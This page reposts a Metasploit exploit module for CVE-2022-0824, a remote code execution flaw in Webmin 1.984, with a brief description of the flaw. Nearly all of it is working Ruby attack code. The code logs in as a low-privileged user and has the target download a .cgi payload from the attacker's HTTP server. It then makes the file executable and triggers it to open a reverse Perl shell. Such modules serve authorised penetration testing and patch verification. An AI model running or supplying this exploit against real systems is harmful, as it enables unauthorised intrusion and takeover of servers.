Home Webmin 1.984 File Manager
Post
Cancel

Webmin 1.984 File Manager

Webmin version 1.984 allows low-privileged authenticated users, who lack access rights to the File Manager module, to utilize file manager capabilities like changing file permissions and downloading files from remote URLs. By combining these functionalities within the file manager, a crafted .cgi file could potentially enable remote code execution.

1
SHA-256 | 174516108c4d106859887c676523c5bd94d8fe133ba6657e421890c8d9f7ef89
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HTTP::Webmin
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Webmin File Manager RCE',
            'Description' => %q{
              In Webmin version 1.984, any authenticated low privilege user without access rights to
              the File Manager module could interact with file manager functionalities such as downloading files from remote URLs and
              changing file permissions. It is possible to achieve Remote Code Execution via a crafted .cgi file by chaining those
              functionalities in the file manager.
            },
            'Author' => [
              'faisalfs10x', # discovery
              'jheysel-r7'   # module
            ],
            'References' => [
              [ 'URL', 'https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/'], # exploit
              [ 'URL', 'https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell'], # exploit
              [ 'CVE', '2022-0824']
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'linux',
            'Privileged' => true,
            'Targets' => [
              [
                'Automatic (Unix In-Memory)',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_memory,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2022-02-26',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptPort.new('RPORT', [true, 'The default webmin port', 10000]),
            OptString.new('USERNAME', [ true, 'The username to authenticate as', '' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username', '' ])
          ]
        )
      end
    
      def check
        webmin_check('0', '1.984')
      end
    
      def login
        webmin_login(datastore['USERNAME'], datastore['PASSWORD'])
      end
    
      def download_remote_url
        print_status('Fetching payload from HTTP server')
    
        res = send_request_cgi({
          'uri' => normalize_uri(datastore['TARGETURI'], '/extensions/file-manager/http_download.cgi'),
          'method' => 'POST',
          'keep_cookies' => true,
          'data' => 'link=' + get_uri + '.cgi' + '&username=&password=&path=%2Fusr%2Fshare%2Fwebmin',
          'headers' => {
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Accept-Encoding' => 'gzip, deflate',
            'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With' => 'XMLHttpRequest',
            'Referer' => 'http://' + datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + '/filemin/?xnavigation=1'
          },
          'vars_get' => {
            'module' => 'filemin'
          }
        })
    
        fail_with(Failure::UnexpectedReply, 'Unable to download .cgi payload from http server') unless res
        fail_with(Failure::BadConfig, 'please properly configure the http server, it could not be found by webmin') if res.body.include?('Error: No valid URL supplied!')
        register_file_for_cleanup("/usr/share/webmin/#{@file_name}")
      end
    
      def modify_permissions
        print_status('Modifying the permissions of the uploaded payload to 0755')
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/extensions/file-manager/chmod.cgi'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => {
            'Referer' => 'http://' + datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + 'filemin/?xnavigation=1'
          },
          'vars_get' => {
            'module' => 'filemin',
            'page' => '1',
            'paginate' => '30'
          },
          'vars_post' => {
            'name' => @file_name,
            'perms' => '0755',
            'applyto' => '1',
            'path' => '/usr/share/webmin'
          }
        })
        fail_with(Failure::UnexpectedReply, 'Unable to modify permissions on the upload .cgi payload') unless res && res.code == 302
      end
    
      def exec_revshell
        res = send_request_cgi(
          'method' => 'GET',
          'keep_cookies' => true,
          'uri' => normalize_uri(datastore['TARGETURI'], @file_name),
          'headers' => {
            'Connection' => 'keep-alive'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Unable to execute the .cgi payload') unless res && res.code == 500
      end
    
      def on_request_uri(cli, request)
        print_status("Request '#{request.method} #{request.uri}'")
        print_status('Sending payload ...')
        send_response(cli, payload.encoded,
                      'Content-Type' => 'application/octet-stream')
      end
    
      def exploit
        start_service
        @file_name = (get_resource.gsub('/', '') + '.cgi')
        cookie = login
        fail_with(Failure::BadConfig, 'Unsuccessful login attempt with creds') if cookie.empty?
        print_status('Downloading remote url')
        download_remote_url
        print_status('Finished downloading remote url')
        modify_permissions
        exec_revshell
      end
    end


Source :   https://packetstormsecurity.com

This post is licensed under CC BY 4.0 by the author.